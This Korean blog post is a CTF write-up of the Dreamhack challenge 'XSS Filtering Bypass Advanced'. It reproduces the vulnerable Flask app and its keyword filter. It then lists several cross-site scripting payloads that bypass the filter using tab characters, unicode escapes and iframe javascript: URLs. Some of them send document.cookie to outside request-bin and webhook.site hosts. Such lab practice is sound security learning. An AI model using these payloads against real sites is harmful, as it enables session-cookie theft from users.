김승현

[Dreamhack : Web] XSS Filtering Bypass Advanced 본문

Web/Dreamhack : Web

[Dreamhack : Web] XSS Filtering Bypass Advanced

kshind 2023. 3. 1. 16:49

문제

이전에 풀었던 문제에서 패치된 문제로 아마도 필터링이 더 강화된 문제일 것 같다.

 

풀이

접속하면 볼 수 있는 화면이다 vuln page로 가보자.

vuln page로 가면 이렇게 생겼고 위의 파라미터를 바탕으로 사진이 출력되어 있는 걸 볼 수 있다. memo로 가보자.

이렇게 memo 엔드포인트로 갈 때마다 hello가 출력된다. 마지막으로 flag로 가보자.

이렇게 localhost에 대한 파라미터를 입력받고 제출할 수 있게 되어 있다. 소스코드를 확인해보자.

 

<코드 전체>

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

<코드 초반부>

flask에서 flask, request, render_template를 import했고 selenium에서 webdriver를 imort하고 urllib, os를 import했다.

flask는 웹 사이트 제작 프레임워크이고 request는 요청을 할 수 있게 해주는 거고 render_template는 화면에 출력,

webriver는 다양한 브라우저에서 정상 작동하는지 테스트하는 거, urllib는 url을 가져오기 위한 거, os는 운영체제에서 제공되는 다양한 기능들을 파이썬에서 실행할 수 있도록 해주는 거다.

 

app = Flask 문장으로 플라스크 객체를 생성하고 app.secret_key 변수에 unsigned로 랜덤 값을 저장

 

FLAG 변수에 ./flag.txt의 값을 읽어서 저장

실패했다면 FLAG 변수에 [**FLAG**] 저장

 

index (host3.dreamhack.games/)

접속하면 index.html이 보여지도록 작성되어 있다.

 

memo (host3.dreamhack.games/memo

memo_text라는 전역변수 생성

text 변수에 전달받은 memo 파라미터의 값 저장

memo_text 변수에 text 변수의 값과 줄바꿈 저장

memo에 memo_text를 넣고 memo.html이 보이도록 render_template를 이용해서 반환

 

vuln (host3.dreamhack.games/vuln)

param 변수에 사이트에서 전달받은 param 파라미터 저장

param 변수에 xss_filter 함수를 적용한 param값 저장

param 변수 반환

 

xss_filter() 

_filter 변수에 script, on, javasrcript 저장

전달받은 text 파라미터를 소문자로 바꾼 것 중 해당하는 값이 있으면 filtered!!! 반환(출력)

 

advanced_filter 변수에 window, self, tjis, document, location, (, ), &# 변수 저장

전달받은 text 파라미터를 소문자로 바꾼 것 중 해당하는 값이 있으면 filtered!!! 반환(출력)

 

저번 문제는 공백 치환이었기 때문에 scrscriptipt처럼 써서 우회할 수 있었지만 이번엔 그냥 포함이 되면

끝나버리기 때문에 다른 방법을 써야 될 것 같아 보인다.

 

flag (host3.dreamhack.games/flag)

전달받은 메소드가 GET이라면

render_template를 이용해서 flag.html 반환

 

전달받은 메소드가 POST라면

param 변수에 전달받은 param 파라미터의 값 저장

만약 check_xss 함수에 param와 cookie값에서 FLAG에서 공백을 제거한 값을 제거한 걸 입력한 값이 거짓이라면

wrong??을 출력 check_xss가 참을 반환하면 good 반환

 

check_xss()

url 변수에 "http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}값을 저장

(urllib.parse.quote는 전달받은 값을 xss가 발생할 수 있는 url로 변경해주는 함수)

read_url 함수에 url과 cookie를 넣은 값 반환

 

read_url()

cookie 값을 domain, localhost로 변경

option 변수에 webdriver 크롬 옵션 저장

for문 안의 내용들로 브라우저 크기 설정

 

driver의 내용들은 다 세팅하는 함수들이기 때문에 넘어가겠습니다. 요약: localhost 크롬을 통해 테스트함

 

만약 위의 과정들 중에 오류가 발생한다면 false 반환 그렇게 되면 check_xss도 false고 if문엔 not이 붙었기 때문에 

결과적으로는 값이 true가 되면서 if문이 실행되어 입력한 값에 대해 wrong을 출력하게 됨

 

중요한 부분은 vuln엔드포인트의 xss_filter를 우회하여 작성해야 된다는 것이다.

filter 내용
script, on, javascript, window, self, this, document, location, (, ), $#

우회를 하기만 하면 다른 내용들은 같기 때문에 저번 문제에서 사용한 payload를 가져왔다.

<scrscriptipt>this['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scrscriptipt>

String.fromCharCode 함수를 이용해서 해볼 것이다.

<String.fromCharCode`115, 99, 114, 105, 112, 116`;>String.fromCharCode`108, 111, 99, 97, 116, 105, 111, 110`;.href = "/memo?memo= " String.fromCharCode`100, 111, 99, 117, 109, 101, 110, 116`.cookie;</string.fromcharcode`115, 99, 114, 105, 112, 116`;>

이렇게 해서 해봤는데 flag가 출력되지 않았다...ㅜ 다른 방법을 써보자.

<iframe src="\1\4javascr\tipt:locati\u006f\u006e.href = "memo?memo=" + parent.\u0064ocument.cookie;"/>

다른 거 많이 해봤는데 안 돼서 dreamhack tools의 request bin을 써보려고 한다.

https://bbzrcbd.request.dreamhack.games

 

https://bbzrcbd.request.dreamhack.games

 

bbzrcbd.request.dreamhack.games

 

<iframe src="\1\4javascr\tipt:locati\u006f\u006e.href = "https://bbzrcbd.request.dreamhack.games/memo?memo=" + \u0064ocument.cookie;"/>

\u0064ocument.locati\u006f\u006e.href = 'https://bbzrcbd.request.dreamhack.games/?memo=' + \u0064ocument.cookie;"/>

<iframe src="\1\4javascr\tipt:locati\u006f\u006e.href = "https://lgigcpg.request.dreamhack.games/?memo=" + \u0064ocument.cookie;"/>

<iframe src="javascr''ipt:\u0064ocument.locati\u006f\u006e.href = 'https://webhook.site/433d0a39-20ce-4ac5-9abb-f2dcacc02a5e/?memo=' + \u0064ocument.cookie;"/>

<iframe src= 'x'\u006f\u006eerror="alert`1`">

 

위엔 다 실패했고 다시 memo?memo=로 다시 돌아와서 작성해봤다.

<iframe src="javascri	pt:locatio	n.href='/memo?memo='%2bdocumen	t.cookie">

이렇게 작성해서 flag에 입력해봤다.

참고로 tab을 %09나 \t를 쓰면 디코딩 문제로 되지 않는다.